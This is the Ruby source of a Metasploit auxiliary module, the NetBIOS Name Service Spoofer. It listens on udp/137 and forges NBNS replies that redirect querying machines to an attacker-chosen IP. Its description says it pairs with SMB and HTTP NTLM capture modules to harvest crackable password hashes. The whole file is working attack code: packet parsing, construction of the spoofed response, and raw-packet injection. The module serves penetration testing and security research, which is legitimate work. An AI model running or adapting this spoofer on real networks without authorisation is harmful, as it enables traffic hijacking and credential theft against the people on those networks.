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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Capture
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  attr_accessor :sock, :thread
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  def initialize
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    super(
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      'Name'           => 'NetBIOS Name Service Spoofer',
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      'Description'    => %q{
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          This module forges NetBIOS Name Service (NBNS) responses. It will listen for NBNS requests
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          sent to the local subnet's broadcast address and spoof a response, redirecting the querying
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          machine to an IP of the attacker's choosing. Combined with auxiliary/server/capture/smb or
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          auxiliary/server/capture/http_ntlm it is a highly effective means of collecting crackable hashes on
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          common networks.
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          This module must be run as root and will bind to udp/137 on all interfaces.
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      },
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      'Author'     => [ 'Tim Medin <tim[at]securitywhole.com>' ],
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      'License'    => MSF_LICENSE,
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      'References' =>
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        [
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          [ 'URL', 'http://www.packetstan.com/2011/03/nbns-spoofing-on-your-way-to-world.html' ]
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        ],
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      'Actions'		=>
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        [
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          [ 'Service', 'Description' => 'Run NBNS spoofing service' ]
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        ],
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      'PassiveActions' =>
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        [
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          'Service'
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        ],
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      'DefaultAction'  => 'Service'
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    )
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    register_options([
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      OptAddress.new('SPOOFIP', [ true, "IP address with which to poison responses", "127.0.0.1"]),
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      OptRegexp.new('REGEX', [ true, "Regex applied to the NB Name to determine if spoofed reply is sent", '.*']),
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    ])
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    deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')
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    self.thread = nil
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    self.sock = nil
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  end
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  def dispatch_request(packet, rhost, src_port)
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    rhost = ::IPAddr.new(rhost)
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    # `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped
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    # addr like "::ffff:192.168.0.1" when the interface we're listening
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    # on has an IPv6 address. Convert it to just the v4 addr
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    if rhost.ipv4_mapped?
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      rhost = rhost.native
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    end
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    # Convert to string
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    rhost = rhost.to_s
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    spoof = ::IPAddr.new(datastore['SPOOFIP'])
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    return if packet.length == 0
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    nbnsq_transid      = packet[0..1]
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    nbnsq_flags        = packet[2..3]
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    nbnsq_questions    = packet[4..5]
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    nbnsq_answerrr     = packet[6..7]
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    nbnsq_authorityrr  = packet[8..9]
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    nbnsq_additionalrr = packet[10..11]
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    nbnsq_name         = packet[12..45]
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    decoded = ""
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    nbnsq_name.slice(1..-2).each_byte do |c|
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      decoded << "#{(c - 65).to_s(16)}"
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    end
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    nbnsq_decodedname = "#{[decoded].pack('H*')}".strip()
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    nbnsq_type         = packet[46..47]
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    nbnsq_class        = packet[48..49]
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    return unless nbnsq_decodedname =~ /#{datastore['REGEX'].source}/i
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    print_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{spoof}")
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    vprint_status("transid:        #{nbnsq_transid.unpack('H4')}")
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    vprint_status("tlags:          #{nbnsq_flags.unpack('B16')}")
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    vprint_status("questions:      #{nbnsq_questions.unpack('n')}")
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    vprint_status("answerrr:       #{nbnsq_answerrr.unpack('n')}")
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    vprint_status("authorityrr:    #{nbnsq_authorityrr.unpack('n')}")
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    vprint_status("additionalrr:   #{nbnsq_additionalrr.unpack('n')}")
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    vprint_status("name:           #{nbnsq_name} #{nbnsq_name.unpack('H34')}")
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    vprint_status("full name:      #{nbnsq_name.slice(1..-2)}")
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    vprint_status("decoded:        #{decoded}")
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    vprint_status("decoded name:   #{nbnsq_decodedname}")
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    vprint_status("type:           #{nbnsq_type.unpack('n')}")
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    vprint_status("class:          #{nbnsq_class.unpack('n')}")
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    # time to build a response packet - Oh YEAH!
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    response = nbnsq_transid +
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      "\x85\x00" + # Flags = response + authoritative + recursion desired +
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      "\x00\x00" + # Questions = 0
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      "\x00\x01" + # Answer RRs = 1
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      "\x00\x00" + # Authority RRs = 0
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      "\x00\x00" + # Additional RRs = 0
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      nbnsq_name + # original query name
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      nbnsq_type + # Type = NB ...whatever that means
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      nbnsq_class+ # Class = IN
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      "\x00\x04\x93\xe0" + # TTL = a long ass time
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      "\x00\x06" + # Datalength = 6
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      "\x00\x00" + # Flags B-node, unique = whatever that means
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      spoof.hton
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    pkt = PacketFu::UDPPacket.new
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    pkt.ip_saddr = Rex::Socket.source_address(rhost)
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    pkt.ip_daddr = rhost
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    pkt.ip_ttl = 255
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    pkt.udp_sport = 137
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    pkt.udp_dport = src_port
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    pkt.payload = response
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    pkt.recalc
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    capture_sendto(pkt, rhost)
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  end
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  def monitor_socket
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    while true
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      rds = [self.sock]
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      wds = []
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      eds = [self.sock]
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      r,_,_ = ::IO.select(rds,wds,eds,0.25)
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      if (r != nil and r[0] == self.sock)
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        packet, host, port = self.sock.recvfrom(65535)
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        dispatch_request(packet, host, port)
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      end
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    end
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  end
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  def run
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    check_pcaprub_loaded()
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    ::Socket.do_not_reverse_lookup = true  # Mac OS X workaround
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    # Avoid receiving extraneous traffic on our send socket
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    open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'})
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    self.sock = Rex::Socket.create_udp(
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      'LocalHost' => "0.0.0.0",
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      'LocalPort' => 137,
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      'Context'   => { 'Msf' => framework, 'MsfExploit' => self }
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    )
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    add_socket(self.sock)
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    self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
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    self.thread = Rex::ThreadFactory.spawn("NBNSServerMonitor", false) {
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      begin
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        monitor_socket
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      rescue ::Interrupt
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        raise $!
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      rescue ::Exception
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        print_error("Error: #{$!.class} #{$!} #{$!.backtrace}")
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      end
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    }
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    print_status("NBNS Spoofer started. Listening for NBNS requests with REGEX \"#{datastore['REGEX'].source}\" ...")
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    self.thread.join
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    print_status("NBNS Monitor thread exited...")
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  end
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  def cleanup
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    if self.thread and self.thread.alive?
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      self.thread.kill
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      self.thread = nil
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    end
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    self.sock.close
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    close_pcap
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  end
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end
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